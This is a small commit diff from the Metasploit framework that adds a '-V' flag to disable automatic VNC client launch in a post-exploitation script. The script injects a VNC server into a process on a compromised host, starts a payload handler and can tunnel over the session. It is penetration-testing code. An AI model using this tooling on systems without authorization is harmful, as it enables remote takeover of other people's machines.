Add -V to avoid automatic VNC connection
git-svn-id: file:///home/svn/framework3/trunk@8135 4d416f70-5f16-0410-b530-b9f4589650da
This commit is contained in:
parent
b6b25b7f03
commit
64c4754ade
|
@ -16,6 +16,7 @@ opts = Rex::Parser::Arguments.new(
|
|||
"-i" => [ false, "Inject the vnc server into a new process's memory instead of building an exe"],
|
||||
"-P" => [ true, "Executable to inject into (starts a new process). Only useful with -i (default: notepad.exe)"],
|
||||
"-D" => [ false, "Disable the automatic multi/handler (use with -r to accept on another system)"],
|
||||
"-V" => [ false, "Disable the automatic launch of the VNC client"],
|
||||
"-t" => [ false, "Tunnel through the current session connection. (Will be slower)"],
|
||||
"-c" => [ false, "Enable the VNC courtesy shell"]
|
||||
)
|
||||
|
@ -28,7 +29,9 @@ rhost = Rex::Socket.source_address("1.2.3.4")
|
|||
rport = 4545
|
||||
lhost = "127.0.0.1"
|
||||
|
||||
|
||||
autoconn = true
|
||||
autovnc = true
|
||||
courtesy = false
|
||||
tunnel = false
|
||||
inject = false
|
||||
|
@ -50,6 +53,8 @@ opts.parse(args) do |opt, idx, val|
|
|||
runme = val
|
||||
when "-D"
|
||||
autoconn = false
|
||||
when "-V"
|
||||
autovnc = false
|
||||
when "-c"
|
||||
courtesy = true
|
||||
when "-t"
|
||||
|
@ -91,6 +96,9 @@ if autoconn
|
|||
if (not courtesy)
|
||||
mul.datastore['DisableCourtesyShell'] = true
|
||||
end
|
||||
|
||||
mul.datastore['AUTOVNC'] = autovnc
|
||||
|
||||
print_status("Running payload handler")
|
||||
mul.exploit_simple(
|
||||
'Payload' => mul.datastore['PAYLOAD'],
|
||||
|
@ -141,4 +149,3 @@ if tunnel
|
|||
client.run_cmd("portfwd add -L 127.0.0.1 -l #{rport} -p #{rport} -r #{lhost}")
|
||||
end
|
||||
|
||||
|
||||
|
|
Loading…
Reference in New Issue